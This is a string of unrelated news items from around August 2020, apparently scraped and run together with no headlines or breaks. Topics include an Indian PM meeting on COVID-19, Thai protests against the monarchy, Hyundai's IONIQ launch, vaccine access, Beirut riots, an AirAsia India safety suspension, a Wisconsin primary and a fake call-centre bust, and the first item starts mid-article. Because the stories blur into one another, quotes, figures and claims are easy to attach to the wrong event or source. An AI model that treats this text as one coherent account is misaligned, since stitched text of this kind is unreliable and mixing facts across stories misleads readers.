Amarinder Singh said the current cap of 35% in State Disaster Relief Fund for COVID-19 related expenditure, as per MHA guidelines, is not sufficient to meet current requirements. Citing the states rising cases of COVID, which have gone up to 24891 with 604 deaths, the CM urged PM Modi to review the UGC decision on mandatory exams for exit classes to be held by September 30. The meeting assumed significance as these 10 states have a high population density and the idea is to bring down the virus caseload. This was the seventh video conference of the Prime Minister with the states CMs since the outbreak of the pandemic. This was also the first meeting of the PM with chief ministers during Unlock 3.0 on the coronavirus pandemic. The country has so far reported a total of 22,68,675 coronavirus cases, including 15,83,489 patients who have recovered. As many as 2,52,81,848 samples have been tested. The Chief Ministers requested further guidance by the Health Ministry for conducting sero-surveillance, while also suggesting the setting up of an integrated medical infrastructure in the country. They also provided feedback on the ground situation in their respective states. They praised PM Modi`s leadership in the successful management of the pandemic and thanked him for his constant guidance and support. They informed the Prime Minister about corona tests conducted, steps taken to increase testing, use of telemedicine and efforts to ramp up the health infrastructure. Defence Minister Rajnath Singh and Health Minister Harsh Vardhan were among those present in the meeting. Thai students salute during a pro-democracy protest at Thammasat University outside Bangkok on Monday. (Sakchai Lalit / Associated Press) For years, critics of Thailands powerful king have chosen their words carefully, opting for allegories about his late poodle Foo Foo, inside jokes about his multiple marriages or references to Germany, where he lives almost full time at a hotel in the Bavarian Alps. Lately, some have donned Harry Potter costumes to evoke Lord Voldemort, the evil wizard so feared that his name must not be spoken. The comparison isnt without basis: The Thai monarchy is cocooned from criticism by one of the worlds strictest lese-majeste laws, which punishes insults to the sovereign or his heirs by up to 15 years in prison. Though irregularly enforced, the law has muzzled discussion of an absentee king who has amassed more wealth and political power than any since Thailand's constitutional monarchy was established in 1932. Yet in an extraordinary show of defiance, student leaders and protesters across Thailand are now calling publicly for King Maha Vajiralongkorns powers to be curtailed in weeks of snowballing demonstrations that have astonished observers by directly challenging the royal establishment. Today we will speak openly about the monarchy, student leader Panusaya Sithijirawattanakul told a crowd of thousands Monday at Thammasat University outside Bangkok. In the past, there have been statements fooling us by saying that people born into the royal family are incarnations of gods or angels. With all due respect, please ask yourselves, are you sure that angels or gods have this kind of personality? Student protest leader Panusaya Sithijirawattanakul addresses the crowd at Thammasat University on Monday. (Sakchai Lalit / Associated Press) Protest leaders read out 10 demands, including revoking the lese-majeste law, cutting the monarchys budget, banning the ruler from playing any role in politics, pruning the extensive royal security force and investigating the disappearances of critics of the king. A statement called it not a proposal to topple the monarchy but a way for the king to continue to be esteemed by the people within a democracy. The demonstrators appear headed for a collision with conservative, pro-royal forces led by the prime minister, former Gen. Prayuth Chan-ocha, and a military that has squashed past street movements with brutality. In an apparent bid to defuse tensions, organizers called off a protest scheduled for Wednesday, the Queen Mothers birthday, when the king is due to visit Bangkok. Story continues I cannot think of any parallel in modern Thai history to whats happening right now, said Matthew Wheeler, Bangkok-based senior analyst for the International Crisis Group. Were definitely in a new environment in which the monarchys political role is being discussed critically in public," Wheeler said. "In some ways, we could say it was bound to happen at some point. What we havent really seen yet is what is the reaction going to be from the royalists. Although officials have signaled that they would offer the demonstrations some space, authorities last week arrested two protest leaders, civil rights lawyer Arnon Nampha and student activist Panupong Jadnok, charging them with sedition and other crimes. Both were released on bail and spoke at Mondays rally. From now on, questioning the monarchy with respect must be done publicly, Arnon told the crowd. And from now on, no one should be harassed for speaking out about the monarchy. Civil rights lawyer Arnon Nampha was charged with sedition last week after participating in a pro-democracy protest in Bangkok. (Sakchai Lalit / Associated Press) Prayuth told reporters Tuesday that he was uncomfortable with the protest and wondered if "it has gone too far." Earlier, a Cabinet minister warned students not to infringe [on] others rights or offend the countrys highest institution. Nobody will accept it. A confrontation could plunge Thailand into another prolonged period of unrest less than a year and a half after Thailand's first election since a 2014 military coup. Public anger has been mounting since the coup, which was followed by an extended period of army rule, widespread arrests and harassment of protesters, the abrupt passage of a new constitution granting the military an outsize political role, the court-ordered dissolution of popular opposition parties and the flawed March 2019 election that kept the coup leader, Prayuth, in power. Then came the COVID-19 pandemic, which has hammered an economy that was already grappling with declining production and rising inequality. Through all this, the 68-year-old Vajiralongkorn has mostly remained in Germany, flying back to Bangkok only for occasional day visits with an entourage including his fourth wife, Queen Suthida. King Maha Vajiralongkorn and Queen Suthida participate in the king's coronation in Bangkok in May 2019. (EPA-EFE / Rex) Adding to resentment over his absence and taxpayer-funded lifestyle are a series of moves he has made to expand power since ascending to the throne in 2016 after the death of his long-reigning and widely beloved father. Vajiralongkorn ordered changes to the new constitution to make it easier for him to rule from overseas, placed two army regiments under his direct command and took personal ownership of the Crown Property Bureau, a vast real estate and investment portfolio worth an estimated $70 billion, making him the worlds richest monarch. What people have seen is a king that is acting much more directly in his own interests in the political sphere than did his predecessor, Wheeler said. Peoples patience is wearing thin. Something was going to happen in terms of an expression of grievances, and sure enough, its gaining momentum at a time when people are beginning to feel real economic pain. The protests, which began this summer as COVID-19 distancing restrictions were eased, initially demanded reforms to the government including new elections, a new constitution and an end to persecution of critics but in the last week have directly taken on the monarchy. At Thammasat University, where organizers conducted temperature checks and handed out sanitizer gel at the entrance, middle-aged Thais mingled with teenagers attending their first political protest. Signs in English and Thai read, No more fake democracy and Stop pretending that this is still a constitutional monarchy. We should not sacrifice our life for just speaking the truth, and we shouldnt tolerate it anymore, said a 20-year-old arts student, who gave her name only as Pangpon. We dont want the monarchy, she added. I know thats impossible I know we have to coexist. I mean, it can stay, but it has to be like the British monarchy and have ceremonies that bring in some income for the country. Thats not what we do. Our monarchy has been sending money to other countries. Pro-democracy students at Thammasat University hold posters of Wanchalearm Satsaksit, a Thai activist who was abducted in Cambodia in June. (Sakchai Lalit / Associated Press) Some demonstrators held portraits of Wanchalearm Satsaksit, a prominent democracy activist who was abducted in June on the streets of the Cambodian capital, Phnom Penh, where he lived in self-exile the latest in a string of unsolved disappearances of Thai dissidents abroad. Wanchalearm has become a legitimate symbol for the protesters, so I am glad that at least his disappearance would not be in vain, said Pavin Chachavalpongpun, a Thai academic and critic of the monarchy who lives in self-exile in Japan. Social media have amplified the dissent, with internet sleuths tracking the kings flights and his bike rides through the German countryside. When he dropped into Bangkok for a ceremony in April, without observing COVID-19 quarantine guidelines, the hashtag #WhyDoWeNeedAKing was tweeted more than 1 million times in Thailand. The Royalists Marketplace, a private Facebook group that discusses and lampoons the monarchy the featured photo shows the king descending a water slide in a swimsuit has added nearly 900,000 members since Pavin launched it in April. Thai authorities have demanded that Facebook shut it down, Pavin said, but the page remains active. As owner of this group, I have seen the protests spread to almost every province in Thailand, he said. I do think this could lead to some concrete changes in Thai politics. I would never have believed it myself to see student protests having come this far already. I've campaigned for a decade for the right to criticize the monarchy, and still this has me shocked. A special correspondent in Bangkok contributed to this report. Hyundai Motor Company today announced the launch of its new IONIQ brand dedicated to battery electric vehicles, opening a new chapter as a leader in the era of electrified mobility. Under the IONIQ brand, Hyundai will offer customer centric EV experiences centered on connected lifestyle solutions in line with Hyundais vision of Progress for Humanity, the company said. Hyundai Motor will leverage its industry-leading manufacturing know-how in EVs to introduce three new dedicated models over the next four years with more innovative models to follow. The creation of IONIQ brand is in response to fast-growing market demand and accelerates Hyundais plan to lead the global EV market, it said. To fulfill IONIQs brand mission, Hyundai will combine its current EV capabilities such as ultra-fast charging, spacious interior, and battery-supplied power with future innovations that combine design, technologies and services to integrate in-car and out-of-car experiences for a seamless journey. The IONIQ brand will change the paradigm of EV customer experience, said Wonhong Cho, Executive Vice President and Global Chief Marketing Officer at Hyundai Motor Company. With a new emphasis on connected living, we will offer electrified experiences integral to an eco-friendly lifestyle. Rebirth of IONIQ Hyundai first introduced the term IONIQ, which fuses ion and unique, when it announced Project IONIQ, a long-term research and development project focused on eco-friendly mobility. Based on the project, Hyundai in 2016 introduced a vehicle named IONIQ, the worlds first and only model to offer a choice of three electrified powertrain options hybrid electric, plug-in hybrid and battery electric within a single body type. Now, IONIQ represents Hyundais growing commitment to sustainability and innovation and will be instrumental in achieving the companys clean mobility goals, the copmany said. IONIQ brand was conceived to fuse life changing mobility with environmental performance and has so far been in instrumental in delivering progress electrified. IONIQ will continue to create a new balance in clean mobility synchronizing eco-products within an eco-system of lifestyle solutions bringing connected living to a new generation, it said. The existing IONIQ vehicles hybrid, PHEV, EV will not be housed under the new IONIQ brand. NEW VEHICLES Hyundai will be launching a range of numerically named EVs under the new brand, with the even numbers used for sedans and the odd numbers for SUVs. The first model under the IONIQ brand will be the IONIQ 5 midsize CUV that will launch in early 2021. IONIQ 5 is based on the concept EV 45, which Hyundai unveiled at the International Motor Show (IAA) 2019 in Frankfurt as a homage to its very first concept car. IONIQ 5s designers took inspiration from the past and integrated it with cutting-edge parametric pixels, a unique design element that Hyundai designers will continue to incorporate into future IONIQ models. In 2022, Hyundai will introduce IONIQ 6 sedan, which is based on the companys latest concept EV Prophecy, unveiled in March; followed by IONIQ 7, a large SUV in early 2024. Prophecys iconic exterior design is characterized by its aerodynamic silhouette of perfect proportions. Likewise, IONIQ vehicles designs will have a common theme of Timeless Value. The vehicles will be inspired by past models, but they will be a bridge to the future. E-GMP platform IONIQ brand models will sit on an Electric Global Modular Platform, known as E-GMP, that will enable fast charging capability and plentiful driving range. The EV-dedicated platform will allow Hyundai to reimagine the vehicle interior as smart living space with highly adjustable seats, wireless connectivity and unique features such as a glove box designed as drawers. The platform paradigm shift will extend into the user interfaces that will be simple, intuitive and ergonomically designed to help occupants feel at ease. Strategy 2025 Hyundai Motor Group recently announced that the group aims to sell 1 million units of battery electric vehicles and take 10 percent share to become a leader in the global EV field by 2025. Under Strategy 2025, Hyundai Motor Company itself aims to become the world's third-largest automaker of eco-friendly vehicles by 2025, with 560,000 BEV sales in addition to FCEV sales. The launch of the IONIQ brand dedicated to EV models reinforces the companys commitment to clean mobility and reflects its ongoing transformation as a Smart Mobility Solution Provider with zero-emissions solutions. London Eye campaign Hyundai has celebrated the launch of IONIQ by turning the London Eye into a giant letter Q using electric lights just before the official reopening of the famous attraction. This marks the first event of the Im in Charge brand campaign, which promotes empowerment of the environment and diverse lifestyles through IONIQ. - TradeArabia News Service With 20m people infected globally and 735,000 virus-related deaths as of August 10, it is becoming increasingly clear that a vaccine is required for societies and economies to return to a sense of normality. At present, researchers around the world are working on more than 150 different vaccines, with 26 already reaching the human trial stage. The issue presents an interesting conundrum for emerging markets, amid concerns that many may miss out on early access to vaccines in favour of wealthier countries. In late July the US government announced that it had signed a $2bn contract with US multinational Pfizer and German company BioNTech to develop 100m coronavirus vaccines by the end of the year, while in June Germany invested 300m a 23% stake in local biopharmaceutical company CureVac, which is working on a Covid-19 vaccine. China, meanwhile, has also invested heavily in a number of domestic companies, with international media reporting that it had spent around $140bn on measures to fight the virus, including the development of treatments and vaccines. Testing moves forward Some emerging markets have sought to position themselves favourably for vaccine access by collaborating with international pharmaceutical companies on testing. In the Middle East, Saudi Arabia, the UAE and Bahrain have begun clinical testing for a virus vaccine in cooperation with Chinese companies. The third-phase testing for the potential vaccine will see around 5000 adults in each country take part in the trial. Meanwhile in Asia, Indonesian state-owned company Bio Farma has partnered with Chinas Sinovac to conduct phase-three vaccine trials in West Java, while local health giant Kalbe Farma is also teaming up with South Koreas Genexine for phase-two testing of the companys vaccine. In addition, a national consortium under the Ministry of Research and Technology has begun working on a longer-term, self-sufficient strategy to develop its own vaccine. Meanwhile, similar efforts towards vaccine self-sufficiency are under way in Peru and Mexico. Beyond vaccine diplomacy The ability of emerging markets to develop working relationships with leading medical research nations is seen as key to gaining access to future vaccines. For instance, China has indicated that it would give the Philippines priority access to any vaccine that it develops. The importance of strong ties with wealthier countries comes amid concerns that they may outbid emerging markets once approved solutions enter the market, subsequently leaving lower-income nations at the back of the queue. Related: Crypto FOMO Heats Up As Bitcoin Climbs Above $11,000 In fact, the World Health Organisation has warned against so-called vaccine nationalism, noting that given the interconnected nature of the world economy it would be in the general interest to share the benefits of any potential vaccine. To avoid such a situation, an international coalition of organisations has developed the COVAX Facility, a mechanism designed to provide rapid, fair and equitable access to Covid-19 vaccines globally. The initiative involves high- and middle-income countries financing vaccines through their own public budgets, then teaming up with lower-income nations to provide support in the form of voluntary donations to the COVAX Advance Market Commitment, run by Gavi, the Vaccine Alliance. So far 75 countries have expressed interest in funding the initiative, which would benefit 90 lower-income nations. The goal is to deliver 2bn doses of approved vaccines by the end of next year. Under the plans, they would be delivered equally to all participating nations, proportional to their populations, and would initially prioritise health care workers. By Oxford Business Group More Top Reads From Safehaven.com: by Pierre Balanian Violent, anti-Hezbollah groups demonstrated in Place des canons and then seized and sacked the Foreign Ministry. Important and sensitive documents were burnt. Papers were also destroyed at the Environment and Economy ministries. A member of the security service is killed. Prime Minister Hassan Diab calls for early parliamentary elections, echoed by the Maronite patriarch who also wants an international inquiry. Beirut (AsiaNews) No respite for Beirut. Despite popular wisdom and young people seeking calm to continue rescue operations, posting messages on WhatsApp chats, some dark hands working in the shadows managed to fill the Place des Canons (Martyrs Square) not with peaceful and cheerful protesters, but with violent and destructive people. This time the "protesters" did not represent every religious or social group, ordinary people, the poor; instead, they came from the ideologically anti-Shia, anti-Hezbollah, anti-Iran, anti-China and anti-Russia half of the country. Breaking a taboo, for the first time they hung in effigy two dummies representing Hassan Nasrallah, secretary general of Hezbollah, and Nabih Berry, speaker of of the Lebanese Parliament of the past three decades and one of the countrys unchallenged leaders. Although the new government came into office only recently, after months of protests, and has not yet had time to do much, except for its excellent fight against COVID-19, protesters chanted Government, resign!, We want Beirut disarmed!, No to Hezbollah's weapons. In fact, all of these demands are clearly partisan political demands, not slogans for social justice and against corruption and hunger. During clashes between rioters and police, a member of the security forces fell to his death in an elevator shaft in a Beirut hotel because of the protesters. The violent crowd, made up mainly of young people, also targeted three private lorries provided by the Civil Protection authorities to clear debris and rubble, setting them on fire. The rioters, gathered around former General Sami Rammah, seized the Foreign Ministry, setting it on fire. The building might have contained evidence useful to determine who was responsible for the explosions. The fire burnt large quantities of other sensitive documents as well. The Economy and Environment Ministries were also occupied, but not set on fire; however, here too, documents were thrown in the air and onto the streets. Such documents could contain evidence of corruption going as far back as 1992, whose principals the government of Prime Minister Hassan Diab sought to punish. Many people believe corrupt people are behind the riots, trying to get rid of the evidence of their guilt amid the ongoing chaos in order to ensure their impunity. Amid the unrest, talk is growing of dividing Lebanon into ethno-religious cantons, an old idea from the time of the civil war (1975-1990) that never went away. In addition to the death of the member of the security forces, hundreds of people were also injured. Eventually, the military was able to clear the ministries, but damage was done. Whilst the violent groups gathered in central Beirut, Prime Minister Hassan Diab gave a live televised speech. "The time is not for political controversies, he said. We are the government that came from the will of the people, following the protests. Give me two more months. "The country is experiencing a tragedy that goes beyond its capabilities," he added. I promise the Lebanese that I shall find and punish those responsible, whoever they are; they will not be above the law." Diab said that tomorrow he will ask his cabinet to hold early parliamentary elections. Maronite Patriarch Bechara al-Rahi also called for the government to resign and hold early elections, along with an international inquiry into last Tuesdays explosions. Shia leaders have however rejected the last request, calling it a form of neo-colonialism, a desire to put the country under international tutelage. AKRON, Ohio Two teens escaped injury and a woman is now in custody after police say shots were fired during the attempted sale of a cellphone arranged online. Summer Beatty, 23, is charged with aggravated robbery and improperly handling firearms in a motor vehicle, police say. She is being held in the Summit County Jail. Police say a 17-year-old female and 18-year-old male agreed to meet a woman at about 10 p.m. Saturday in the Kenmore neighborhood. The teens used the Let Go app to arrange the meeting about the sale of a cellphone, police say. After meeting the suspect, the teens decided not to sell the cellphone, police say. The teens were assaulted and shots were fired, according to police, before the suspect drove off in a Nissan Rogue. Police say they were able to determine that Beatty was involved in the incident and that she was arrested by officers who stopped the Rogue. A handgun was recovered from the car, according to police. More crime-related content on cleveland.com: Akron Dairy Queen owner scares off would-be robbers by firing shot Akron man arrested in connection with 2019 deadly home invasion Euclid man charged with murder after girlfriends 18-month-old daughter dies of severe head injury Cuyahoga County hires first female jail warden, after last two wardens tenures end in misconduct accusations Man parachuting in downtown Cleveland injured after crashing into building More than 600 guns seized by Cleveland police sit untested, causing delays in prosecuting gun crimes, officials say DGCA suspends two senior executives of AirAsia India for three months over 'safety violations' India oi-Madhuri Adnal New Delhi, Aug 11: The Directorate General of Civil Aviation (DGCA) on Tuesday suspended Captain Manish Uppal and Mukesh Neema over safety violations by Air Asia. Uppal was the Head of Operations in Air Asia while Neema was Chief of Flight safety with the airline. The DGCA had issued a show-cause notice to Air Asia on June 28 after Gaurav Taneja, one of the AirAsia India's former pilots -- who runs a YouTube channel called Flying Beast -- alleged violations of safety norms by the low-cost airline. Transcripts from retrieved black box to be available soon: DGCA on Kerala plane crash Independence Day: Indian flag to unfurl at Times Square & more news | Oneindia News When asked about it, the airline's spokesperson said, "AirAsia India acknowledges the receipt of the notice from DGCA last month and has complied with the directions of the regulator and appointed interim post holders in accordance with the regulator's directions." AirAsia India prioritises safety above all and it continues to engage with the authorities and exercise the option to appeal for redressal, the spokesperson added. In June this year, one of AirAsia India's former pilots -- who runs a YouTube channel called Flying Beast -- alleged violations of safety norms by the low-cost airline. "We had issued a show cause notice to two AirAsia India executives -- Head of Operations Manish Uppal and Head of Flight Safety Mukesh Nema -- in June only. It has been decided now to suspend them for a period of three months," the Directorate General of Civil Aviation (DGCA) official said. Captain Gaurav Taneja, a popular Youtuber, tweeted on June 14 that he has been suspended by AirAsia India "for standing up for safe operations of an aircraft and its passengers". On June 15, he posted a detailed video on YouTube titled "Reasons behind suspension from my pilot job". Taneja alleged in the video that the airline has asked its pilots to do 98 per cent of landings in "Flap 3" mode, which allows it to save fuel. He said if a pilot does not do 98 per cent of landings in "Flap 3" mode, the airline considers it a violation of its standard operating procedure (SOP). Flaps are part of wings of an aircraft and they are engaged to create a drag during a landing or a take-off. Kerala CM denies discrimination in providing compensation to victims of landslide and air crash Taneja gave the example of the Imphal airport, where the plane descends more steeply as compared to other airports when approaching for landing. He said when an aircraft is coming down steeply, it needs to have a drag so that it remains slow, and in these circumstances a pilot has to do a "Flap full" landing. "In order to achieve targets, what would people do? They will do Flap 3 landings without giving consideration whether it is safe or unsafe. This directly impacts the passenger safety," he had claimed in his YouTube video. "If something happens during a Flap 3 landing, then the question would be asked to the pilot if he or she cares more about saving fuel or 180 passengers'' lives, Taneja had said. On June 15, the DGCA said on Twitter that it had taken note of the concerns raised by some stakeholders "against a particular airline and its approach to safety". "DGCA has already started an investigation into the issues flagged and shall take appropriate action based on the outcome of the said investigation," it added. Senior DGCA officials had confirmed on June 15 itself that AirAsia India was under investigation after Taneja's allegations. They recently returned to New York after spending much of lockdown at her parents' house in Los Angeles. And Emily Ratajkowski seemed relaxed as she enjoyed a sun-soaked bike ride with her husband Sebastian Bear-McClard in the Hamptons on Monday. The model, 29, looked sensational as she rode out in a plunging black bikini top that showed off a generous glimpse of her cleavage and her toned abs. Outing: Emily Ratajkowski looked sensational as she slipped into a black bikini top and shorts for a bike ride with her husband Sebastian Bear-McClard in the Hamptons on Monday Emily completed her look by wearing high-waist denim shorts, while she opted to go barefoot for the cycle around their neighbourhood. The brunette beauty covered her locks with a white sun hat, and used a light palette of make-up for the occasion. She kept her accessories to a minimum so that all eyes remained on her ensemble as she cycled close to her husband of two years. Sebastian put on a casually chic display in a colourful tie-dye sleeveless top that he teamed with blue shorts, and black flip flops. Wow! The model's ensemble showed off a generous glimpse of her cleavage and her toned abs Relaxed: Emily opted to go barefoot for the cycle around their neighbourhood Striking: Sebastian put on a casually chic display in a colourful tie-dye sleeveless top that he teamed with blue shorts, and black flip flops The couple fled New York City while it was the American epicentre of the COVID-19 pandemic and flew to Los Angeles on April 15. The Gone Girl actress and her husband spent their time in LA at her parents' house, and returned to New York City recently. The Centers For Disease Control And Prevention had issued an advisory on March 28 asking 'residents of New York, New Jersey, and Connecticut to refrain from non-essential domestic travel for 14 days effective immediately.' Despite the public health warning the two fled the Big Apple, but returned once cases began to spike in California. Minimalist look: Emily kept her accessories to a minimum so that all eyes remained on her ensemble as she cycled close to her husband of two years Stylish: The brunette beauty covered her locks with a white sun hat, and used a light palette of make-up for the occasion Emily got married in February 2018 after a whirlwind romance and engagement to Sebastian. The attractive couple were first spotted out together on Valentine's Day 2018, and then shocked fans when they announced they were married just two weeks later. She made a splash with her surprise courthouse marriage to Sebastian in New York City, wearing a $200 (154) Zara trouser suit. Safety: The couple fled New York City while it was the American epicentre of the COVID-19 pandemic and flew to Los Angeles in April but returned once cases began to spike in California BOCA RATON, Fla., Aug. 11, 2020 /PRNewswire/ -- Layla Capital ("Layla" or the "Firm"), a direct commercial real estate lender specializing in small to middle-market debt opportunities across the United States, announced today multiple key developments to support the Firm's continued growth. Effective July 1, 2020, Maxwell "Max" Deibel has joined the Firm as a Partner. An industry veteran with a decade of bridge lending and other specialty finance experience, Max will work alongside founder and Managing Partner Justin Cooper to grow and oversee Layla's originations and lending platform. In addition to this strategic hire, Layla will also relocate its corporate headquarters from Manhattan, New York to Boca Raton, Florida. Considered to be one of the main hubs for the private lending industry, South Florida's Gold Coast became Layla's new home starting August 1, 2020. "This is an exciting and opportunistic time for Layla Capital," said Cooper. "A critical component of our strategy has always been to prudently scale the business through the addition of talented, hard-working people that fit with the Firm's culture and operational ethos. Max's robust network and track record as both an originator and lender will be powerful assets for the Firm, and his commitment to forming true partnerships with the clients and brokers he works with aligns perfectly with our corporate mission. Bringing Max onboard is a testament to the growth of Layla, and it could not be timelier, as we are on track to close out our strongest year yet and currently establishing a new corporate headquarters in South Florida. Boca Raton will provide us with ample opportunities to enhance our broker network, expand our business development capabilities, and gain exposure to a new audience of potential capital partners. I am excited to introduce Layla to the South Florida community." Prior to joining Layla, Max spent five years working as a Managing Director at Stabilis Capital Management ("Stabilis"), where he was responsible for growing and managing the fund's bridge lending strategy. Before Stabilis, Max served in a variety of sourcing and management roles with Knighthead Funding, a real estate finance company that operates as a subsidiary of Knighthead Capital Management. Max started his career in capital markets with M&T Bank and Sonic Automotive. "The platform that Justin has built over the last three years is a different type of solution for borrowers and brokers," said Deibel. "Layla is more than just a lender. They are a strategic debt partner that works with its clients in a transparent manner to help them achieve their real estate strategies. Against the backdrop of COVID-19, this approach has never been more crucial in the marketplace. I am thrilled to join this winning team and look forward to bringing the unique value of this advanced lending platform and culture to my network." Layla's expansion into Boca Raton comes as part of the Firm's long-term strategy for continued growth. Layla's new headquarters will be located at 7777 Glades Road, Suite 309, Boca Raton, FL 33434. The Firm has leased Class A office space in the exclusive Boca Corporate Centre, enough to support both Layla's current team and projected growth over the next three to five years. Layla's advanced lending platform offers loans up to $15 million and specializes in core real estate assets, including single-family investment properties, multifamily, mixed-use, retail, office, development sites, light industrial, and other commercial property types. Recent closings over the last two months include refinancing three Rite Aids in Pennsylvania, Oregon, and Michigan; a renovation loan against an 18-unit multifamily property in Newark, New Jersey; and a loan against an assemblage of lots in Jersey City, New Jersey. The Firm's origination volume has increased nearly one-hundred-and-fifty percent year-over-year. Cooper concluded: "Since our inception in 2017, our entrepreneurial thinking and creative deal structuring have allowed us to successfully compete with the larger, more established lenders in the space. With the COVID-19 pandemic negatively impacting businesses and decreasing access to funding, borrowers more than ever need lenders like Layla who can deploy capital quickly and flexibly and who are truly aligned with their goals. We have closed a number of loans over the past two months, and we will continue to provide fast and creative capital solutions for those whose financial profiles do not meet the strict requirements set out by traditional banking institutions." For more information about Layla Capital, please visit www.laylacapital.com . ABOUT LAYLA CAPITAL Layla Capital ("Layla") is a direct commercial real estate lender that specializes in small to middle-market debt opportunities in primary and secondary markets nationwide. Founded on the principles of transparency, reliability, and consistency in asset-based lending, Layla remains focused on building loyal client and broker relationships over time with a proven track record and certainty of execution. The firm's advanced lending platform offers loans up to $15 million and specializes in core real estate assets, including single-family investment properties, multifamily, mixed-use, retail, office, development sites, and other commercial property types. Layla Capital considers all situations and offers a wide range of flexible solutions to borrowers in need of private, quick, and creative capital. Founded in 2017, the firm is based in Boca Raton, Florida. For more information, visit www.laylacapital.com . CONTACT Jake Malcynsky Gaffney Bennett [email protected] SOURCE Layla Capital RACINE COUNTY Wisconsin absentee ballot requests are up for todays primary with more than 900,000 requested, which is seven times more than the number requested in the August 2018 primary, according to state elections officials data released Monday. According to the Wisconsin Elections Commission, voters had requested 903,760 absentee ballots and had returned 506,709 as of Monday. That compares with 123,393 ballots requested in 2018, when 106,663 were returned. Waterford Town Clerk Tina Mayer said she has seen more absentee voters in than past elections. Mayer estimates she is at 17% or 18% of registered voters in her municipality. We ended up 765 back (returned) and thats pretty high for an election like this, at least in my municipality, Mayer said. There are no statewide officials on the ballot. But several county government and local legislative seats are on the ballot. Just two races in the county are contested. Josh Pade, a business consultant from Bristol, and Roger Polack, an attorney from Caledonia, are Democrats competing to take on U.S. Rep. Bryan Steil, R-Janesville, in November for Wisconsins 1st Congressional District. Voters in the Village and Town of Waterford will be eligible to vote in the Republican primary for state Senate District 28. Incumbent State Sen. David Craig. R-Vernon, announced in May that he would not be seeking re-election. Five Republican candidates will face off for a spot on the November ballot against Adam Murphy: Steve Bobowski, Jim Engstrand, Dan Griffin, Marina Croft and Julian Bradley. County offices Republican candidates running uncontested for county offices are all incumbents: Wind Lake resident Tricia Hanson for district attorney; Wendy M. Christensen of Caledonia for county clerk; and Jeff Latus for of Mount Pleasant for county treasurer. There is no primary races for county register of deeds, but incumbent Democrat Connie Cobb Madsen will face Republican Karie Pope, the current Caledonia village clerk and a former Raymond town clerk. Hanson faced backlash, including the launch of a recall effort, in the wake of her decision to not charge Mount Pleasant Police Sgt. Eric Giese, who shot and killed 18-year-old Ty Rese West during an arrest attempt on June 15, 2019. In the end, the recall effort fell short and Hanson, with no Democrat opponent in November, Hanson is poised to continue in her capacity as district attorney for another term. Looking ahead to some local state Assembly races in November, Assembly Speaker Robin Vos, R-Rochester, is poised for a rematch against Democrat Joel Jacobsen, a former Burlington alderman, in the race for Assembly District 63, which stretches from Burlington to western Mount Pleasant. In District 66, incumbent Greta Neubauer, D-Racine, faces a challenge from Republican Will Leverson. Polls, whether in drive-up or in-person capacity, will be open from 7 a.m. to 8 p.m. Any absentee ballots must also be returned by the closing time of polling locations. Any questions concerning the election or voting should be directed toward municipality clerks. Key state races Among interesting races elsewhere in Wisconsin on Tuesday: In the 5th Congressional District, state Senate Majority Leader Scott Fitzgerald, R-Juneau, faces Cliff DeTemple, a business owner making his first run for office, in the Republican primary. The winner will be heavily favored against Democrat Tom Palzewicz, given the strong conservative leaning of the district. One of the safest Democratic seats in the state, a Senate seat covering the heart of liberal Madison, is open for the first time since 1956. Seven Democrats are running, including two Muslim women and three African Americans, with no Republican candidates. That means the winner of the primary will take the seat, which World War II veteran Fred Risser first won in a 1962 special election. He is retiring at age 93 as the longest-serving legislator in the country. Pete Wicklund of the Journal Times, the Associated Press and the Wisconsin State Journal contributed to this report. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Get Government & Politics updates in your inbox! Stay up-to-date on the latest in local and national government and political topics with our newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. A pple chief executive Tim Cook has become the latest tech bro to reach billionaire status. It comes as Apple's stock has shot higher over recent weeks as the company continues to outperform despite the coronavirus crisis. Cook took the top job at Apple nine years ago after founder Steve Jobs stepped down. Cook has managed to amass the fortune despite not being a founder. Apple has thrived under Cook and the tech firm now has a market cap approaching $2 trillion, making the company even more valuable than stated owned oil giant Saudi Aramco. In 2015, he said he planned to give most of his fortune away and has already donated million of dollars worth of Apple shares. Nevertheless he has a long way to go if he is to catch up with his tech rivals. Last week Mark Zuckerberg's wealth hit $100 billion for the first time. The increase in the 36 year old's wealth was boosted after the social media giant launched Instagram Reels last week, a direct rival to TikTok. Jeff Bezos is also a centibillionaire / Invision/AP Zuckerberg has a 13% stake in Facebook. Only Amazon chief Jeff Bezos and Microsofts Bill Gates have reached the milestone before, although Bernard Arnault, Warren Buffet, Larry Ellison and Carlos Slim are not far behind. Tech giants have performed well during lockdown as people have been stuck at home over the past five months since coronavirus struck the globe. Two weeks ago a congressional antitrust panel questioned Bezos, Tim Cook of Apple, Zuckerberg and Sundar Pichai of Alphabet - about their market power and business practices. It was part of a broader inquiry by regulators and lawmakers into the dominance of the tech giants, with open investigations from the Justice Department, the Federal Trade Commission and state attorneys general Gurugram, Aug 11 : Gurugram police has unearthed another fake call centre racket in the city's upscale DLF Phase 2 and arrested two owners, an official said on Tuesday. Those arrested are Amit Dhanda living in Sector 82 and Saurabh Chaudhary living in U-block of DLF Phase 3. The police said the accused used to dupe US citizens on the pretext of providing technical software support and gift cards. The accused failed to present the necessary documents and permissions required to run the call centre. Last week, the CM Flying Squad and Gurugram police had jointly unearthed a call centre operating on the Sohna Road. A police team headed by DLF City ACP Karan Goyal raided house number 4/19 in 'N' block of DLF Phase 2 and found nine male and female employees busy interacting with clients in English in a fake American accent. "We gathered all employees and two supervisors sitting in a cabin and asked them to show relevant documents but they failed to do so," Goyal said. "During brief questioning, the accused revealed that they posed as employees of US-based 'Best Boys' company to provide technical solutions in computer applications. In a bid to convince the customers, they offered gift cards and received payments in US dollars," the ACP said. "The accused told police that they were former employees of an Information Technology solution company and knew how to dupe people by exploiting the loopholes in this sector. They had set up a call centre called 'Tech Support' three months ago," Goyal said. "We have seized three CPUs and sent these for detailed technical analysis at our Cyber Cell. Besides, Rs 1.45 lakh in cash was seized from their possession. Further investigation is on," the police officer added. Syracuse, N.Y. When you check your body for ticks after being outdoors, start with your thighs. Thats the most likely spot to find ticks, according to a survey by Upstate Medical Universitys tick-borne disease lab. Of the 748 black-legged ticks sent over this spring and summer that had been attached to humans, nearly 16% of them were pulled off the thigh. Another 7% were pulled from the groin. Ticks like to go and feed on the human body in places where its moist and warm, said Saravanan Thangamani, professor of microbiology and immunology at Upstate and director of the SUNY Center for Environmental Health and Medicine. The tick has evolved to go into places where humans cant check themselves very easily. Thangamani said that might be an example of natural selection: Ticks that attached to humans in hard-to-spot places were more likely to survive and pass along that trait to their offspring. 